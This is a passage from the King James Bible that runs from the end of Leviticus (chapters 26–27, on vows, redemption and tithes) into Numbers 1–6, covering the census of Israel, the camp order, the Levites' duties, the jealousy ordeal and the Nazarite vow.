+26:45 But I will for their sakes remember the covenant of their +ancestors, whom I brought forth out of the land of Egypt in the sight +of the heathen, that I might be their God: I am the LORD. + +26:46 These are the statutes and judgments and laws, which the LORD +made between him and the children of Israel in mount Sinai by the hand +of Moses. + +27:1 And the LORD spake unto Moses, saying, 27:2 Speak unto the +children of Israel, and say unto them, When a man shall make a +singular vow, the persons shall be for the LORD by thy estimation. + +27:3 And thy estimation shall be of the male from twenty years old +even unto sixty years old, even thy estimation shall be fifty shekels +of silver, after the shekel of the sanctuary. + +27:4 And if it be a female, then thy estimation shall be thirty +shekels. + +27:5 And if it be from five years old even unto twenty years old, then +thy estimation shall be of the male twenty shekels, and for the female +ten shekels. + +27:6 And if it be from a month old even unto five years old, then thy +estimation shall be of the male five shekels of silver, and for the +female thy estimation shall be three shekels of silver. + +27:7 And if it be from sixty years old and above; if it be a male, +then thy estimation shall be fifteen shekels, and for the female ten +shekels. + +27:8 But if he be poorer than thy estimation, then he shall present +himself before the priest, and the priest shall value him; according +to his ability that vowed shall the priest value him. + +27:9 And if it be a beast, whereof men bring an offering unto the +LORD, all that any man giveth of such unto the LORD shall be holy. + +27:10 He shall not alter it, nor change it, a good for a bad, or a bad +for a good: and if he shall at all change beast for beast, then it and +the exchange thereof shall be holy. + +27:11 And if it be any unclean beast, of which they do not offer a +sacrifice unto the LORD, then he shall present the beast before the +priest: 27:12 And the priest shall value it, whether it be good or +bad: as thou valuest it, who art the priest, so shall it be. + +27:13 But if he will at all redeem it, then he shall add a fifth part +thereof unto thy estimation. + +27:14 And when a man shall sanctify his house to be holy unto the +LORD, then the priest shall estimate it, whether it be good or bad: as +the priest shall estimate it, so shall it stand. + +27:15 And if he that sanctified it will redeem his house, then he +shall add the fifth part of the money of thy estimation unto it, and +it shall be his. + +27:16 And if a man shall sanctify unto the LORD some part of a field +of his possession, then thy estimation shall be according to the seed +thereof: an homer of barley seed shall be valued at fifty shekels of +silver. + +27:17 If he sanctify his field from the year of jubile, according to +thy estimation it shall stand. + +27:18 But if he sanctify his field after the jubile, then the priest +shall reckon unto him the money according to the years that remain, +even unto the year of the jubile, and it shall be abated from thy +estimation. + +27:19 And if he that sanctified the field will in any wise redeem it, +then he shall add the fifth part of the money of thy estimation unto +it, and it shall be assured to him. + +27:20 And if he will not redeem the field, or if he have sold the +field to another man, it shall not be redeemed any more. + +27:21 But the field, when it goeth out in the jubile, shall be holy +unto the LORD, as a field devoted; the possession thereof shall be the +priest's. + +27:22 And if a man sanctify unto the LORD a field which he hath +bought, which is not of the fields of his possession; 27:23 Then the +priest shall reckon unto him the worth of thy estimation, even unto +the year of the jubile: and he shall give thine estimation in that +day, as a holy thing unto the LORD. + +27:24 In the year of the jubile the field shall return unto him of +whom it was bought, even to him to whom the possession of the land did +belong. + +27:25 And all thy estimations shall be according to the shekel of the +sanctuary: twenty gerahs shall be the shekel. + +27:26 Only the firstling of the beasts, which should be the LORD's +firstling, no man shall sanctify it; whether it be ox, or sheep: it is +the LORD's. + +27:27 And if it be of an unclean beast, then he shall redeem it +according to thine estimation, and shall add a fifth part of it +thereto: or if it be not redeemed, then it shall be sold according to +thy estimation. + +27:28 Notwithstanding no devoted thing, that a man shall devote unto +the LORD of all that he hath, both of man and beast, and of the field +of his possession, shall be sold or redeemed: every devoted thing is +most holy unto the LORD. + +27:29 None devoted, which shall be devoted of men, shall be redeemed; +but shall surely be put to death. + +27:30 And all the tithe of the land, whether of the seed of the land, +or of the fruit of the tree, is the LORD's: it is holy unto the LORD. + +27:31 And if a man will at all redeem ought of his tithes, he shall +add thereto the fifth part thereof. + +27:32 And concerning the tithe of the herd, or of the flock, even of +whatsoever passeth under the rod, the tenth shall be holy unto the +LORD. + +27:33 He shall not search whether it be good or bad, neither shall he +change it: and if he change it at all, then both it and the change +thereof shall be holy; it shall not be redeemed. + +27:34 These are the commandments, which the LORD commanded Moses for +the children of Israel in mount Sinai. + + + + +The Fourth Book of Moses: Called Numbers + + +1:1 And the LORD spake unto Moses in the wilderness of Sinai, in the +tabernacle of the congregation, on the first day of the second month, +in the second year after they were come out of the land of Egypt, +saying, 1:2 Take ye the sum of all the congregation of the children of +Israel, after their families, by the house of their fathers, with the +number of their names, every male by their polls; 1:3 From twenty +years old and upward, all that are able to go forth to war in Israel: +thou and Aaron shall number them by their armies. + +1:4 And with you there shall be a man of every tribe; every one head +of the house of his fathers. + +1:5 And these are the names of the men that shall stand with you: of +the tribe of Reuben; Elizur the son of Shedeur. + +1:6 Of Simeon; Shelumiel the son of Zurishaddai. + +1:7 Of Judah; Nahshon the son of Amminadab. + +1:8 Of Issachar; Nethaneel the son of Zuar. + +1:9 Of Zebulun; Eliab the son of Helon. + +1:10 Of the children of Joseph: of Ephraim; Elishama the son of +Ammihud: of Manasseh; Gamaliel the son of Pedahzur. + +1:11 Of Benjamin; Abidan the son of Gideoni. + +1:12 Of Dan; Ahiezer the son of Ammishaddai. + +1:13 Of Asher; Pagiel the son of Ocran. + +1:14 Of Gad; Eliasaph the son of Deuel. + +1:15 Of Naphtali; Ahira the son of Enan. + +1:16 These were the renowned of the congregation, princes of the +tribes of their fathers, heads of thousands in Israel. + +1:17 And Moses and Aaron took these men which are expressed by their +names: 1:18 And they assembled all the congregation together on the +first day of the second month, and they declared their pedigrees after +their families, by the house of their fathers, according to the number +of the names, from twenty years old and upward, by their polls. + +1:19 As the LORD commanded Moses, so he numbered them in the +wilderness of Sinai. + +1:20 And the children of Reuben, Israel's eldest son, by their +generations, after their families, by the house of their fathers, +according to the number of the names, by their polls, every male from +twenty years old and upward, all that were able to go forth to war; +1:21 Those that were numbered of them, even of the tribe of Reuben, +were forty and six thousand and five hundred. + +1:22 Of the children of Simeon, by their generations, after their +families, by the house of their fathers, those that were numbered of +them, according to the number of the names, by their polls, every male +from twenty years old and upward, all that were able to go forth to +war; 1:23 Those that were numbered of them, even of the tribe of +Simeon, were fifty and nine thousand and three hundred. + +1:24 Of the children of Gad, by their generations, after their +families, by the house of their fathers, according to the number of +the names, from twenty years old and upward, all that were able to go +forth to war; 1:25 Those that were numbered of them, even of the tribe +of Gad, were forty and five thousand six hundred and fifty. + +1:26 Of the children of Judah, by their generations, after their +families, by the house of their fathers, according to the number of +the names, from twenty years old and upward, all that were able to go +forth to war; 1:27 Those that were numbered of them, even of the tribe +of Judah, were threescore and fourteen thousand and six hundred. + +1:28 Of the children of Issachar, by their generations, after their +families, by the house of their fathers, according to the number of +the names, from twenty years old and upward, all that were able to go +forth to war; 1:29 Those that were numbered of them, even of the tribe +of Issachar, were fifty and four thousand and four hundred. + +1:30 Of the children of Zebulun, by their generations, after their +families, by the house of their fathers, according to the number of +the names, from twenty years old and upward, all that were able to go +forth to war; 1:31 Those that were numbered of them, even of the tribe +of Zebulun, were fifty and seven thousand and four hundred. + +1:32 Of the children of Joseph, namely, of the children of Ephraim, by +their generations, after their families, by the house of their +fathers, according to the number of the names, from twenty years old +and upward, all that were able to go forth to war; 1:33 Those that +were numbered of them, even of the tribe of Ephraim, were forty +thousand and five hundred. + +1:34 Of the children of Manasseh, by their generations, after their +families, by the house of their fathers, according to the number of +the names, from twenty years old and upward, all that were able to go +forth to war; 1:35 Those that were numbered of them, even of the tribe +of Manasseh, were thirty and two thousand and two hundred. + +1:36 Of the children of Benjamin, by their generations, after their +families, by the house of their fathers, according to the number of +the names, from twenty years old and upward, all that were able to go +forth to war; 1:37 Those that were numbered of them, even of the tribe +of Benjamin, were thirty and five thousand and four hundred. + +1:38 Of the children of Dan, by their generations, after their +families, by the house of their fathers, according to the number of +the names, from twenty years old and upward, all that were able to go +forth to war; 1:39 Those that were numbered of them, even of the tribe +of Dan, were threescore and two thousand and seven hundred. + +1:40 Of the children of Asher, by their generations, after their +families, by the house of their fathers, according to the number of +the names, from twenty years old and upward, all that were able to go +forth to war; 1:41 Those that were numbered of them, even of the tribe +of Asher, were forty and one thousand and five hundred. + +1:42 Of the children of Naphtali, throughout their generations, after +their families, by the house of their fathers, according to the number +of the names, from twenty years old and upward, all that were able to +go forth to war; 1:43 Those that were numbered of them, even of the +tribe of Naphtali, were fifty and three thousand and four hundred. + +1:44 These are those that were numbered, which Moses and Aaron +numbered, and the princes of Israel, being twelve men: each one was +for the house of his fathers. + +1:45 So were all those that were numbered of the children of Israel, +by the house of their fathers, from twenty years old and upward, all +that were able to go forth to war in Israel; 1:46 Even all they that +were numbered were six hundred thousand and three thousand and five +hundred and fifty. + +1:47 But the Levites after the tribe of their fathers were not +numbered among them. + +1:48 For the LORD had spoken unto Moses, saying, 1:49 Only thou shalt +not number the tribe of Levi, neither take the sum of them among the +children of Israel: 1:50 But thou shalt appoint the Levites over the +tabernacle of testimony, and over all the vessels thereof, and over +all things that belong to it: they shall bear the tabernacle, and all +the vessels thereof; and they shall minister unto it, and shall encamp +round about the tabernacle. + +1:51 And when the tabernacle setteth forward, the Levites shall take +it down: and when the tabernacle is to be pitched, the Levites shall +set it up: and the stranger that cometh nigh shall be put to death. + +1:52 And the children of Israel shall pitch their tents, every man by +his own camp, and every man by his own standard, throughout their +hosts. + +1:53 But the Levites shall pitch round about the tabernacle of +testimony, that there be no wrath upon the congregation of the +children of Israel: and the Levites shall keep the charge of the +tabernacle of testimony. + +1:54 And the children of Israel did according to all that the LORD +commanded Moses, so did they. + +2:1 And the LORD spake unto Moses and unto Aaron, saying, 2:2 Every +man of the children of Israel shall pitch by his own standard, with +the ensign of their father's house: far off about the tabernacle of +the congregation shall they pitch. + +2:3 And on the east side toward the rising of the sun shall they of +the standard of the camp of Judah pitch throughout their armies: and +Nahshon the son of Amminadab shall be captain of the children of +Judah. + +2:4 And his host, and those that were numbered of them, were +threescore and fourteen thousand and six hundred. + +2:5 And those that do pitch next unto him shall be the tribe of +Issachar: and Nethaneel the son of Zuar shall be captain of the +children of Issachar. + +2:6 And his host, and those that were numbered thereof, were fifty and +four thousand and four hundred. + +2:7 Then the tribe of Zebulun: and Eliab the son of Helon shall be +captain of the children of Zebulun. + +2:8 And his host, and those that were numbered thereof, were fifty and +seven thousand and four hundred. + +2:9 All that were numbered in the camp of Judah were an hundred +thousand and fourscore thousand and six thousand and four hundred, +throughout their armies. These shall first set forth. + +2:10 On the south side shall be the standard of the camp of Reuben +according to their armies: and the captain of the children of Reuben +shall be Elizur the son of Shedeur. + +2:11 And his host, and those that were numbered thereof, were forty +and six thousand and five hundred. + +2:12 And those which pitch by him shall be the tribe of Simeon: and +the captain of the children of Simeon shall be Shelumiel the son of +Zurishaddai. + +2:13 And his host, and those that were numbered of them, were fifty +and nine thousand and three hundred. + +2:14 Then the tribe of Gad: and the captain of the sons of Gad shall +be Eliasaph the son of Reuel. + +2:15 And his host, and those that were numbered of them, were forty +and five thousand and six hundred and fifty. + +2:16 All that were numbered in the camp of Reuben were an hundred +thousand and fifty and one thousand and four hundred and fifty, +throughout their armies. And they shall set forth in the second rank. + +2:17 Then the tabernacle of the congregation shall set forward with +the camp of the Levites in the midst of the camp: as they encamp, so +shall they set forward, every man in his place by their standards. + +2:18 On the west side shall be the standard of the camp of Ephraim +according to their armies: and the captain of the sons of Ephraim +shall be Elishama the son of Ammihud. + +2:19 And his host, and those that were numbered of them, were forty +thousand and five hundred. + +2:20 And by him shall be the tribe of Manasseh: and the captain of the +children of Manasseh shall be Gamaliel the son of Pedahzur. + +2:21 And his host, and those that were numbered of them, were thirty +and two thousand and two hundred. + +2:22 Then the tribe of Benjamin: and the captain of the sons of +Benjamin shall be Abidan the son of Gideoni. + +2:23 And his host, and those that were numbered of them, were thirty +and five thousand and four hundred. + +2:24 All that were numbered of the camp of Ephraim were an hundred +thousand and eight thousand and an hundred, throughout their armies. +And they shall go forward in the third rank. + +2:25 The standard of the camp of Dan shall be on the north side by +their armies: and the captain of the children of Dan shall be Ahiezer +the son of Ammishaddai. + +2:26 And his host, and those that were numbered of them, were +threescore and two thousand and seven hundred. + +2:27 And those that encamp by him shall be the tribe of Asher: and the +captain of the children of Asher shall be Pagiel the son of Ocran. + +2:28 And his host, and those that were numbered of them, were forty +and one thousand and five hundred. + +2:29 Then the tribe of Naphtali: and the captain of the children of +Naphtali shall be Ahira the son of Enan. + +2:30 And his host, and those that were numbered of them, were fifty +and three thousand and four hundred. + +2:31 All they that were numbered in the camp of Dan were an hundred +thousand and fifty and seven thousand and six hundred. They shall go +hindmost with their standards. + +2:32 These are those which were numbered of the children of Israel by +the house of their fathers: all those that were numbered of the camps +throughout their hosts were six hundred thousand and three thousand +and five hundred and fifty. + +2:33 But the Levites were not numbered among the children of Israel; +as the LORD commanded Moses. + +2:34 And the children of Israel did according to all that the LORD +commanded Moses: so they pitched by their standards, and so they set +forward, every one after their families, according to the house of +their fathers. + +3:1 These also are the generations of Aaron and Moses in the day that +the LORD spake with Moses in mount Sinai. + +3:2 And these are the names of the sons of Aaron; Nadab the firstborn, +and Abihu, Eleazar, and Ithamar. + +3:3 These are the names of the sons of Aaron, the priests which were +anointed, whom he consecrated to minister in the priest's office. + +3:4 And Nadab and Abihu died before the LORD, when they offered +strange fire before the LORD, in the wilderness of Sinai, and they had +no children: and Eleazar and Ithamar ministered in the priest's office +in the sight of Aaron their father. + +3:5 And the LORD spake unto Moses, saying, 3:6 Bring the tribe of Levi +near, and present them before Aaron the priest, that they may minister +unto him. + +3:7 And they shall keep his charge, and the charge of the whole +congregation before the tabernacle of the congregation, to do the +service of the tabernacle. + +3:8 And they shall keep all the instruments of the tabernacle of the +congregation, and the charge of the children of Israel, to do the +service of the tabernacle. + +3:9 And thou shalt give the Levites unto Aaron and to his sons: they +are wholly given unto him out of the children of Israel. + +3:10 And thou shalt appoint Aaron and his sons, and they shall wait on +their priest's office: and the stranger that cometh nigh shall be put +to death. + +3:11 And the LORD spake unto Moses, saying, 3:12 And I, behold, I have +taken the Levites from among the children of Israel instead of all the +firstborn that openeth the matrix among the children of Israel: +therefore the Levites shall be mine; 3:13 Because all the firstborn +are mine; for on the day that I smote all the firstborn in the land of +Egypt I hallowed unto me all the firstborn in Israel, both man and +beast: mine shall they be: I am the LORD. + +3:14 And the LORD spake unto Moses in the wilderness of Sinai, saying, +3:15 Number the children of Levi after the house of their fathers, by +their families: every male from a month old and upward shalt thou +number them. + +3:16 And Moses numbered them according to the word of the LORD, as he +was commanded. + +3:17 And these were the sons of Levi by their names; Gershon, and +Kohath, and Merari. + +3:18 And these are the names of the sons of Gershon by their families; +Libni, and Shimei. + +3:19 And the sons of Kohath by their families; Amram, and Izehar, +Hebron, and Uzziel. + +3:20 And the sons of Merari by their families; Mahli, and Mushi. These +are the families of the Levites according to the house of their +fathers. + +3:21 Of Gershon was the family of the Libnites, and the family of the +Shimites: these are the families of the Gershonites. + +3:22 Those that were numbered of them, according to the number of all +the males, from a month old and upward, even those that were numbered +of them were seven thousand and five hundred. + +3:23 The families of the Gershonites shall pitch behind the tabernacle +westward. + +3:24 And the chief of the house of the father of the Gershonites shall +be Eliasaph the son of Lael. + +3:25 And the charge of the sons of Gershon in the tabernacle of the +congregation shall be the tabernacle, and the tent, the covering +thereof, and the hanging for the door of the tabernacle of the +congregation, 3:26 And the hangings of the court, and the curtain for +the door of the court, which is by the tabernacle, and by the altar +round about, and the cords of it for all the service thereof. + +3:27 And of Kohath was the family of the Amramites, and the family of +the Izeharites, and the family of the Hebronites, and the family of +the Uzzielites: these are the families of the Kohathites. + +3:28 In the number of all the males, from a month old and upward, were +eight thousand and six hundred, keeping the charge of the sanctuary. + +3:29 The families of the sons of Kohath shall pitch on the side of the +tabernacle southward. + +3:30 And the chief of the house of the father of the families of the +Kohathites shall be Elizaphan the son of Uzziel. + +3:31 And their charge shall be the ark, and the table, and the +candlestick, and the altars, and the vessels of the sanctuary +wherewith they minister, and the hanging, and all the service thereof. + +3:32 And Eleazar the son of Aaron the priest shall be chief over the +chief of the Levites, and have the oversight of them that keep the +charge of the sanctuary. + +3:33 Of Merari was the family of the Mahlites, and the family of the +Mushites: these are the families of Merari. + +3:34 And those that were numbered of them, according to the number of +all the males, from a month old and upward, were six thousand and two +hundred. + +3:35 And the chief of the house of the father of the families of +Merari was Zuriel the son of Abihail: these shall pitch on the side of +the tabernacle northward. + +3:36 And under the custody and charge of the sons of Merari shall be +the boards of the tabernacle, and the bars thereof, and the pillars +thereof, and the sockets thereof, and all the vessels thereof, and all +that serveth thereto, 3:37 And the pillars of the court round about, +and their sockets, and their pins, and their cords. + +3:38 But those that encamp before the tabernacle toward the east, even +before the tabernacle of the congregation eastward, shall be Moses, +and Aaron and his sons, keeping the charge of the sanctuary for the +charge of the children of Israel; and the stranger that cometh nigh +shall be put to death. + +3:39 All that were numbered of the Levites, which Moses and Aaron +numbered at the commandment of the LORD, throughout their families, +all the males from a month old and upward, were twenty and two +thousand. + +3:40 And the LORD said unto Moses, Number all the firstborn of the +males of the children of Israel from a month old and upward, and take +the number of their names. + +3:41 And thou shalt take the Levites for me (I am the LORD) instead of +all the firstborn among the children of Israel; and the cattle of the +Levites instead of all the firstlings among the cattle of the children +of Israel. + +3:42 And Moses numbered, as the LORD commanded him, all the firstborn +among the children of Israel. + +3:43 And all the firstborn males by the number of names, from a month +old and upward, of those that were numbered of them, were twenty and +two thousand two hundred and threescore and thirteen. + +3:44 And the LORD spake unto Moses, saying, 3:45 Take the Levites +instead of all the firstborn among the children of Israel, and the +cattle of the Levites instead of their cattle; and the Levites shall +be mine: I am the LORD. + +3:46 And for those that are to be redeemed of the two hundred and +threescore and thirteen of the firstborn of the children of Israel, +which are more than the Levites; 3:47 Thou shalt even take five +shekels apiece by the poll, after the shekel of the sanctuary shalt +thou take them: (the shekel is twenty gerahs:) 3:48 And thou shalt +give the money, wherewith the odd number of them is to be redeemed, +unto Aaron and to his sons. + +3:49 And Moses took the redemption money of them that were over and +above them that were redeemed by the Levites: 3:50 Of the firstborn of +the children of Israel took he the money; a thousand three hundred and +threescore and five shekels, after the shekel of the sanctuary: 3:51 +And Moses gave the money of them that were redeemed unto Aaron and to +his sons, according to the word of the LORD, as the LORD commanded +Moses. + +4:1 And the LORD spake unto Moses and unto Aaron, saying, 4:2 Take the +sum of the sons of Kohath from among the sons of Levi, after their +families, by the house of their fathers, 4:3 From thirty years old and +upward even until fifty years old, all that enter into the host, to do +the work in the tabernacle of the congregation. + +4:4 This shall be the service of the sons of Kohath in the tabernacle +of the congregation, about the most holy things: 4:5 And when the camp +setteth forward, Aaron shall come, and his sons, and they shall take +down the covering vail, and cover the ark of testimony with it: 4:6 +And shall put thereon the covering of badgers' skins, and shall spread +over it a cloth wholly of blue, and shall put in the staves thereof. + +4:7 And upon the table of shewbread they shall spread a cloth of blue, +and put thereon the dishes, and the spoons, and the bowls, and covers +to cover withal: and the continual bread shall be thereon: 4:8 And +they shall spread upon them a cloth of scarlet, and cover the same +with a covering of badgers' skins, and shall put in the staves +thereof. + +4:9 And they shall take a cloth of blue, and cover the candlestick of +the light, and his lamps, and his tongs, and his snuffdishes, and all +the oil vessels thereof, wherewith they minister unto it: 4:10 And +they shall put it and all the vessels thereof within a covering of +badgers' skins, and shall put it upon a bar. + +4:11 And upon the golden altar they shall spread a cloth of blue, and +cover it with a covering of badgers' skins, and shall put to the +staves thereof: 4:12 And they shall take all the instruments of +ministry, wherewith they minister in the sanctuary, and put them in a +cloth of blue, and cover them with a covering of badgers' skins, and +shall put them on a bar: 4:13 And they shall take away the ashes from +the altar, and spread a purple cloth thereon: 4:14 And they shall put +upon it all the vessels thereof, wherewith they minister about it, +even the censers, the fleshhooks, and the shovels, and the basons, all +the vessels of the altar; and they shall spread upon it a covering of +badgers' skins, and put to the staves of it. + +4:15 And when Aaron and his sons have made an end of covering the +sanctuary, and all the vessels of the sanctuary, as the camp is to set +forward; after that, the sons of Kohath shall come to bear it: but +they shall not touch any holy thing, lest they die. These things are +the burden of the sons of Kohath in the tabernacle of the +congregation. + +4:16 And to the office of Eleazar the son of Aaron the priest +pertaineth the oil for the light, and the sweet incense, and the daily +meat offering, and the anointing oil, and the oversight of all the +tabernacle, and of all that therein is, in the sanctuary, and in the +vessels thereof. + +4:17 And the LORD spake unto Moses and unto Aaron saying, 4:18 Cut ye +not off the tribe of the families of the Kohathites from among the +Levites: 4:19 But thus do unto them, that they may live, and not die, +when they approach unto the most holy things: Aaron and his sons shall +go in, and appoint them every one to his service and to his burden: +4:20 But they shall not go in to see when the holy things are covered, +lest they die. + +4:21 And the LORD spake unto Moses, saying, 4:22 Take also the sum of +the sons of Gershon, throughout the houses of their fathers, by their +families; 4:23 From thirty years old and upward until fifty years old +shalt thou number them; all that enter in to perform the service, to +do the work in the tabernacle of the congregation. + +4:24 This is the service of the families of the Gershonites, to serve, +and for burdens: 4:25 And they shall bear the curtains of the +tabernacle, and the tabernacle of the congregation, his covering, and +the covering of the badgers' skins that is above upon it, and the +hanging for the door of the tabernacle of the congregation, 4:26 And +the hangings of the court, and the hanging for the door of the gate of +the court, which is by the tabernacle and by the altar round about, +and their cords, and all the instruments of their service, and all +that is made for them: so shall they serve. + +4:27 At the appointment of Aaron and his sons shall be all the service +of the sons of the Gershonites, in all their burdens, and in all their +service: and ye shall appoint unto them in charge all their burdens. + +4:28 This is the service of the families of the sons of Gershon in the +tabernacle of the congregation: and their charge shall be under the +hand of Ithamar the son of Aaron the priest. + +4:29 As for the sons of Merari, thou shalt number them after their +families, by the house of their fathers; 4:30 From thirty years old +and upward even unto fifty years old shalt thou number them, every one +that entereth into the service, to do the work of the tabernacle of +the congregation. + +4:31 And this is the charge of their burden, according to all their +service in the tabernacle of the congregation; the boards of the +tabernacle, and the bars thereof, and the pillars thereof, and sockets +thereof, 4:32 And the pillars of the court round about, and their +sockets, and their pins, and their cords, with all their instruments, +and with all their service: and by name ye shall reckon the +instruments of the charge of their burden. + +4:33 This is the service of the families of the sons of Merari, +according to all their service, in the tabernacle of the congregation, +under the hand of Ithamar the son of Aaron the priest. + +4:34 And Moses and Aaron and the chief of the congregation numbered +the sons of the Kohathites after their families, and after the house +of their fathers, 4:35 From thirty years old and upward even unto +fifty years old, every one that entereth into the service, for the +work in the tabernacle of the congregation: 4:36 And those that were +numbered of them by their families were two thousand seven hundred and +fifty. + +4:37 These were they that were numbered of the families of the +Kohathites, all that might do service in the tabernacle of the +congregation, which Moses and Aaron did number according to the +commandment of the LORD by the hand of Moses. + +4:38 And those that were numbered of the sons of Gershon, throughout +their families, and by the house of their fathers, 4:39 From thirty +years old and upward even unto fifty years old, every one that +entereth into the service, for the work in the tabernacle of the +congregation, 4:40 Even those that were numbered of them, throughout +their families, by the house of their fathers, were two thousand and +six hundred and thirty. + +4:41 These are they that were numbered of the families of the sons of +Gershon, of all that might do service in the tabernacle of the +congregation, whom Moses and Aaron did number according to the +commandment of the LORD. + +4:42 And those that were numbered of the families of the sons of +Merari, throughout their families, by the house of their fathers, 4:43 +From thirty years old and upward even unto fifty years old, every one +that entereth into the service, for the work in the tabernacle of the +congregation, 4:44 Even those that were numbered of them after their +families, were three thousand and two hundred. + +4:45 These be those that were numbered of the families of the sons of +Merari, whom Moses and Aaron numbered according to the word of the +LORD by the hand of Moses. + +4:46 All those that were numbered of the Levites, whom Moses and Aaron +and the chief of Israel numbered, after their families, and after the +house of their fathers, 4:47 From thirty years old and upward even +unto fifty years old, every one that came to do the service of the +ministry, and the service of the burden in the tabernacle of the +congregation. + +4:48 Even those that were numbered of them, were eight thousand and +five hundred and fourscore, 4:49 According to the commandment of the +LORD they were numbered by the hand of Moses, every one according to +his service, and according to his burden: thus were they numbered of +him, as the LORD commanded Moses. + +5:1 And the LORD spake unto Moses, saying, 5:2 Command the children of +Israel, that they put out of the camp every leper, and every one that +hath an issue, and whosoever is defiled by the dead: 5:3 Both male and +female shall ye put out, without the camp shall ye put them; that they +defile not their camps, in the midst whereof I dwell. + +5:4 And the children of Israel did so, and put them out without the +camp: as the LORD spake unto Moses, so did the children of Israel. + +5:5 And the LORD spake unto Moses, saying, 5:6 Speak unto the children +of Israel, When a man or woman shall commit any sin that men commit, +to do a trespass against the LORD, and that person be guilty; 5:7 Then +they shall confess their sin which they have done: and he shall +recompense his trespass with the principal thereof, and add unto it +the fifth part thereof, and give it unto him against whom he hath +trespassed. + +5:8 But if the man have no kinsman to recompense the trespass unto, +let the trespass be recompensed unto the LORD, even to the priest; +beside the ram of the atonement, whereby an atonement shall be made +for him. + +5:9 And every offering of all the holy things of the children of +Israel, which they bring unto the priest, shall be his. + +5:10 And every man's hallowed things shall be his: whatsoever any man +giveth the priest, it shall be his. + +5:11 And the LORD spake unto Moses, saying, 5:12 Speak unto the +children of Israel, and say unto them, If any man's wife go aside, and +commit a trespass against him, 5:13 And a man lie with her carnally, +and it be hid from the eyes of her husband, and be kept close, and she +be defiled, and there be no witness against her, neither she be taken +with the manner; 5:14 And the spirit of jealousy come upon him, and he +be jealous of his wife, and she be defiled: or if the spirit of +jealousy come upon him, and he be jealous of his wife, and she be not +defiled: 5:15 Then shall the man bring his wife unto the priest, and +he shall bring her offering for her, the tenth part of an ephah of +barley meal; he shall pour no oil upon it, nor put frankincense +thereon; for it is an offering of jealousy, an offering of memorial, +bringing iniquity to remembrance. + +5:16 And the priest shall bring her near, and set her before the LORD: +5:17 And the priest shall take holy water in an earthen vessel; and of +the dust that is in the floor of the tabernacle the priest shall take, +and put it into the water: 5:18 And the priest shall set the woman +before the LORD, and uncover the woman's head, and put the offering of +memorial in her hands, which is the jealousy offering: and the priest +shall have in his hand the bitter water that causeth the curse: 5:19 +And the priest shall charge her by an oath, and say unto the woman, If +no man have lain with thee, and if thou hast not gone aside to +uncleanness with another instead of thy husband, be thou free from +this bitter water that causeth the curse: 5:20 But if thou hast gone +aside to another instead of thy husband, and if thou be defiled, and +some man have lain with thee beside thine husband: 5:21 Then the +priest shall charge the woman with an oath of cursing, and the priest +shall say unto the woman, The LORD make thee a curse and an oath among +thy people, when the LORD doth make thy thigh to rot, and thy belly to +swell; 5:22 And this water that causeth the curse shall go into thy +bowels, to make thy belly to swell, and thy thigh to rot: And the +woman shall say, Amen, amen. + +5:23 And the priest shall write these curses in a book, and he shall +blot them out with the bitter water: 5:24 And he shall cause the woman +to drink the bitter water that causeth the curse: and the water that +causeth the curse shall enter into her, and become bitter. + +5:25 Then the priest shall take the jealousy offering out of the +woman's hand, and shall wave the offering before the LORD, and offer +it upon the altar: 5:26 And the priest shall take an handful of the +offering, even the memorial thereof, and burn it upon the altar, and +afterward shall cause the woman to drink the water. + +5:27 And when he hath made her to drink the water, then it shall come +to pass, that, if she be defiled, and have done trespass against her +husband, that the water that causeth the curse shall enter into her, +and become bitter, and her belly shall swell, and her thigh shall rot: +and the woman shall be a curse among her people. + +5:28 And if the woman be not defiled, but be clean; then she shall be +free, and shall conceive seed. + +5:29 This is the law of jealousies, when a wife goeth aside to another +instead of her husband, and is defiled; 5:30 Or when the spirit of +jealousy cometh upon him, and he be jealous over his wife, and shall +set the woman before the LORD, and the priest shall execute upon her +all this law. + +5:31 Then shall the man be guiltless from iniquity, and this woman +shall bear her iniquity. + +6:1 And the LORD spake unto Moses, saying, 6:2 Speak unto the children +of Israel, and say unto them, When either man or woman shall separate +themselves to vow a vow of a Nazarite, to separate themselves unto the +LORD: 6:3 He shall separate himself from wine and strong drink, and +shall drink no vinegar of wine, or vinegar of strong drink, neither +shall he drink any liquor of grapes, nor eat moist grapes, or dried. + +6:4 All the days of his separation shall he eat nothing that is made +of the vine tree, from the kernels even to the husk. + +6:5 All the days of the vow of his separation there shall no razor +come upon his head: until the days be fulfilled, in the which he +separateth himself unto the LORD, he shall be holy, and shall let the +locks of the hair of his head grow. + +6:6 All the days that he separateth himself unto the LORD he shall +come at no dead body. + +6:7 He shall not make himself unclean for his father, or for his +mother, for his brother, or for his sister, when they die: because the +consecration of his God is upon his head. + +6:8 All the days of his separation he is holy unto the LORD. + +6:9 And if any man die very suddenly by him, and he hath defiled the +head of his consecration; then he shall shave his head in the day of +his cleansing, on the seventh day shall he shave it. + +6:10 And on the eighth day he shall bring two turtles, or two young +pigeons, to the priest, to the door of the tabernacle of the +congregation: 6:11 And the priest shall offer the one for a sin +offering, and the other for a burnt offering, and make an atonement +for him, for that he sinned by the dead, and shall hallow his head +that same day. + +6:12 And he shall consecrate unto the LORD the days of his separation, +and shall bring a lamb of the first year for a trespass offering: but +the days that were before shall be lost, because his separation was +defiled. + +6:13 And this is the law of the Nazarite, when the days of his +separation are fulfilled: he shall be brought unto the door of the +tabernacle of the congregation: 6:14 And he shall offer his offering +unto the LORD, one he lamb of the first year without blemish for a +burnt offering, and one ewe lamb of the first year without blemish for +a sin offering, and one ram without blemish for peace offerings, 6:15 +And a basket of unleavened bread, cakes of fine flour mingled with +oil, and wafers of unleavened bread anointed with oil, and their meat +offering, and their drink offerings. + +6:16 And the priest shall bring them before the LORD, and shall offer +his sin offering, and his burnt offering: 6:17 And he shall offer the +ram for a sacrifice of peace offerings unto the LORD, with the basket +of unleavened bread: the priest shall offer also his meat offering, +and his drink offering. + +6:18 And the Nazarite shall shave the head of his separation at the +door of the tabernacle of the congregation, and shall take the hair of +the head of his separation, and put it in the fire which is under the +sacrifice of the peace offerings. + +6:19 And the priest shall take the sodden shoulder of the ram, and one +unleavened cake out of the basket, and one unleavened wafer, and shall +put them upon the hands of the Nazarite, after the hair of his +separation is shaven: 6:20 And the priest shall wave them for a wave +offering before the LORD: this is holy for the priest, with the wave +breast and heave shoulder: and after that the Nazarite may drink wine. + +6:21 This is the law of the Nazarite who hath vowed, and of his +offering unto the LORD for his separation, beside that that his hand +shall get: according to the vow which he vowed, so he must do after +the law of his separation. + +6:22 And the LORD spake unto Moses, saying, 6:23 Speak unto Aaron and +unto his sons, saying, On this wise ye shall bless the children of +Israel, saying unto them, 6:24 The LORD bless thee, and keep thee: 